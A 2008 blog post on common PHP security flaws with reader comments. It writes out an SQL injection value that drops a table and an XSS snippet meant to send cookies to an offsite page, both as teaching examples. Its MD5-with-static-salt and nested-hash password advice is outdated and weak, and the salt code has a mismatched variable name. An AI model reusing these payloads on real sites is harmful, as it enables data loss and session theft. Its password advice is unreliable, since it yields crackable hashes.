Common Security Flaws In PHP Applications

Mattias Geniar, Wednesday, August 13, 2008

No matter how long you've been programming or scripting, once in a while you'll catch yourself making a serious (security) flaw that you thought you'd never make, because you "have the experience". Some of the most basic things a programmer should think of, but often forgets -- because after all, we have to think of *a lot* of best-practice situations.

Though this list isn't limited to PHP (and will have a lot of appliances in other common web languages as well), I'll use PHP as my examples.

1. Check for the correct credentials. Every. Single. Time.

This is a very common "programming mistake", and can be divided into two sections. One is the actual analytic mistake, the other is shere laziness -- and they're often combined. If you use a login-system in order to perform certain actions, make sure you check for those credentials every time the user performs an action.

It's often to see a login script (ie: login.php), that'll check for the correct username & password, and redirect to another page (ie: edit_users.php) -- where no more checks exists. This means, if someone accesses that page directly (because they once had access and know the url, or because they're a good guesser) they can do the same things as someone who is logged in.

Another common issue is checking for the correct credentials to determine whether or not to display an URL (ie: a delete/edit action). Again, if someone knows this URL they don't need the correct credentials, they can just access the page directly.

What's the solution? Include a verification-page on every page where a user needs the correct credentials, that'll check your sessions/cookies to see if a user has legitimate access. If not, redirect them the the proper Login page. Also make sure to check the current logged in user's ID every time, and see if that user is allowed to edit/delete some article.

Most PHP script will pass article-IDs through a hidden form field, or via a URL. Make sure to check if the current user has the proper rights to edit it! Anyone can change an ID in the URL in order to edit something they were no supposed to.

2. Use salts for your passwords. Every. Single. Time.

It's a very simple trick to make your passwords much more secure, yet it's often forgotten in smaller projects. The problem is partially the users fault, as well as the programmer. If the user would use a password complicated enough, this wouldn't be necessary in the first place. But because they often use the names of relatives or loved ones, favorite animals or places or famous buildings as passwords -- they become vulnerable.

There are plenty of databases with MD5 hashes, that can crack textual passwords within seconds. They have millions of records, where text-strings are matched against a known MD5 hash to easily reverse engineer them.

By adding a salt to your password, you add a secret sentence or word to their passwords -- so the MD5 hash looks different. It's simple to implement, requires hardly no extra work, and doesn't slow things down. And it makes your passwords 100x more secure.

Where normally you'd have

$pass = md5($user_input);

you would know replace this by doing:

$my_secret_alt = "Just a random sentence, nothing spectacular.";
$pass = md5($user_input . $my_secret_salt);

This causes your salt to be entirely different, and much more harder to crack.

3. Sanitize your input. Every. Single. Time.

Everyone thinks about it, and nearly everyone knows they have to do it, but in certain situations it's often forgotten. A projects meets a deadline and needs to be finished, you're tired of cleaning up input for the 1050th time, ... Yet it's probably one of the more serious flaws possible.

It opens the possibility for SQL Injections attacks, as well as XSS (Cross Site Scripting). Expect every input from a user, to be malicious. Expect every user to attempt to hack your site, and erase all your data.

If you just receive your variables, and use them in a SQL as follows

$sql = 'SELECT * FROM tbl_user WHERE id = '. $_GET['id'] ;

You're bound to run into trouble. If your "id"-query string is an integer, it's all good. But if your "id"-query string is something like "5; DROP TABLE tbl_user;" you just lost all your data -- because your query now looks like this.

$sql = "SELECT * FROM tbl_user WHERE id = 5; DROP TABLE tbl_user;";

The same issue exists for XSS, most commonly found in guestbook/forum entries. If you allow your users to place any kind of code online, they can exploit it. Imagina javascript files that load exterior pages into your page, or annoy users with 100x alert('pwnd.'); messages. The basic version looks like this:

document.location = ''
                     + document.cookie;

It'll send the values of your local cookies to an offsite page, that can store it for later use. The most simple method to prevent this is calling a htmlspecialchars() on your input, it'll replace "<" by "&lt;" and ">" by "&gt;", making most scripts completely useless (it'll just display the javascript code, instead of parsing and executing it).

Or are you thinking of dynamically importing pages? A common technique used to keep 1 "template" file, where the layout of your site is defined, and other pages with the actual content that is included. A common URL such as index.php?include=list_users.php could then be exploited by doing index.php?include= .

Make sure you verify the user input. Don't skip on things because you lack time, or are sick of it. You'll have more work later when you're trying to fix everything that went wrong in the first place ...

4. Handle your errors properly, log them -- but hide them for your users.

It's a good thing to keep your PHP errors stored somewhere safe (in files outside your public folders), so you can fix them later. It's a bad thing to keep them displayed all the time. What if your database is down, and users see a "Unable to connect to MySQL using password 'mysecretpass' "-error?

Make use of existing error handling classes, or write some of your own. If you can't, or won't do that, at least disable error logging in your php.ini, by setting the "display_errors" value to "0", and the "log_errors" setting tot 1, in your php.ini file.

5. HTTPS exists for a reason, use it.

Why send sensitive data over HTTP when there is HTTPS? It encrypts your data by default, and requires no extra work from you (other than to configure your webserver, which really doesn't take too long). You don't want passwords, usernames or creditcard numbers flying over your network in plain text, so make use of the tools that are presented, and start making use of HTTPS.

For that same reason it's preferred to use SFTP over the insecure FTP, which will also send all your data in plain text -- ready for someone to sniff your traffic and reveal your data.

6. Read. Think. Discuss. Write.

Preferable in that order. Whenever you want to write a new application, do some research about the subject. Read on about different types of authorization, what could fit your project the best.

Think about your problem and all possible solutions -- and implement the one that fits your needs the most. You can often combine several common techniques, to create a new and perhaps better implementation. And if you do, share it with the world -- publish your source code. It'll help spread the knowledge, and could get you further hints and input from others. This is what drives open source.

Then it's time to discuss your thoughts. Talk with others to see how they think about it. Do they have objections against your technique? Flaws you missed? If you keep it to yourself, you'll never learn anything new.

After you've read about it, thought of a solution and have discussed it with the world -- it's time to write your application. Though this seems like a lot of work to do beforehand, it's actually less work than having to re-write source code over and over again, to patch security holes.

There are plenty more commonly made security flaws, such as improper PHP configuration (register_globals, safe_mode, open_basedir, ...), directory listing, session management, ... Share your thoughts about these, it's time to educate the public! ;-)

Hi! My name is Mattias Geniar. πŸ‘‹ I'm an independent software developer ⌨️ & Linux sysadmin πŸ‘¨β€πŸ’», a general web geek & public speaker. Currently working on DNS Spy & Oh Dear! Follow me on Twitter as @mattiasgeniar 🐦.

πŸ”₯ If you're stuck with a technical problem, I'm available for hire to help you fix it!

Share this post

Did you like this post? Help me share it on social media! Thanks. πŸ€—

Have feedback?

New comments have been disabled on this blog, existing comments will remain as-is. Want to give feedback? Is there a mistake in the post?

Send me a tweet on @mattiasgeniar!


Brandon Wednesday, August 13, 2008 at 02:23 -

For #2, you could also use aes_encrypt and aes_decrypt that is built in mysql for passwords (assuming you are using mysql). It will take a key that you can define in a php class when you are storing or retrieving passwords. This also comes in handy if you have to store any critical data from an application (ssn or account number, etc.). Note: Mysql recommends that you store encrypted data in a blob field (tinyblob will work fine).

For #3, I say use the mysqli php class and prepared statements, then it doesn’t really matter what the user tosses your way (other than html, which you already suggested to strip_tags or htmlspecialchars). When you bind parameters, sql injection cannot happen at the variable level. You don’t want to prepare every single query, but any insert or update should be. Any query you do not prepare can use mysqli_real_escape_string() function or $mysqli->real_escape_string() method.

If your php version doesn’t support prepared statements, you can simulate them with sprintf(). This way you can still bind variables to the query according to type (string, int, etc.)

Neat site btw, I found it through reddit rss feeds (programming section).

JB Wednesday, August 13, 2008 at 07:38 -

#1 is so utterly confusing. So what are you trying to say? For every action/page on the website, the user would need to login every single time? Am just saying, because noobs will find this and would have no idea what you are talking about.

@Brandon, sprintf alone is *not* a substitute for prepared statements. You will still need to escape your data with the proper escape characters for your database backend of choice.

Matti Wednesday, August 13, 2008 at 07:54 -

@JB, I’ve updated the article to further clarify it. In short, it just means to verify sessions/cookies and determine whether a user still has access to a certain page.

@Brandon; that is indeed a good idea. You could also combine this, by hashing your passwords several times (md5(sha1(md5($user_input))); ), in order to generate less common hash-strings.

vijay Saturday, January 3, 2009 at 19:01 -

If your php version doesn’t support prepared statements, you can simulate them with sprintf(). This way you can still bind variables to the query according to type (string, int, etc.)

Inbound links